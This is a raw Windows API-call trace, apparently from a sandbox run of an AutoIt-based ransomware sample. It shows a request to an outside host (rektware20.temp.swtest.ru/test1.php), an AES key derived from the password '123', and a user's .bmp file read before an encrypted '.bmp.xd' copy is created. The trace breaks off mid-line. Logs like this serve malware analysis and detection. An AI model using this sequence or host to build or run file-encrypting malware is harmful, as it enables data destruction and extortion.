InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.662] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.662] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.662] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.662] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ee1c) returned 1 [0060.662] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.662] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.662] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.663] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.663] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.663] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.663] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0060.663] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.664] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.664] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.664] CloseHandle (hObject=0x0) returned 0 [0060.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.664] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0060.664] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0060.664] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.664] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.664] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.664] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.664] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.664] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.664] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0060.665] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.665] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.665] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0060.665] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.665] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.665] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.665] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.665] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.665] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0060.665] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0060.666] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0060.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0060.666] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0060.666] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aabc0) returned 1 [0060.667] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.667] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0060.667] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.667] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.667] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.667] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0060.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.667] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.667] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0060.667] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.668] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0060.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.668] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0060.668] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.668] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0060.668] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0060.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.668] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.668] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.668] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.668] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.668] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.668] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0060.668] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0060.669] CryptCreateHash (in: hProv=0x17aabc0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0060.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.669] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293b0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.669] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0060.678] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0060.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0060.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.679] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.679] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0060.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0060.679] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0060.679] CryptHashData (hHash=0x164c4f0, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0060.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.679] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.679] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.679] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.679] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.679] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0060.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0060.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621858, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0060.680] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0060.680] CryptDeriveKey (in: hProv=0x17aabc0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c270) returned 1 [0060.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.680] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.680] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.680] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0060.680] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0060.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0060.681] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0060.681] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0060.681] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0060.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.681] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.681] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bfi75cmebo2.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0060.681] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.682] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0060.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.682] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.682] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq")) returned 0x10 [0060.682] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\BfI75cmEBO2.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\bfi75cmebo2.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0060.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.683] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.686] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0060.686] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xab17, lpOverlapped=0x0) returned 1 [0060.687] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0060.690] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.690] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.690] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.690] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0060.691] 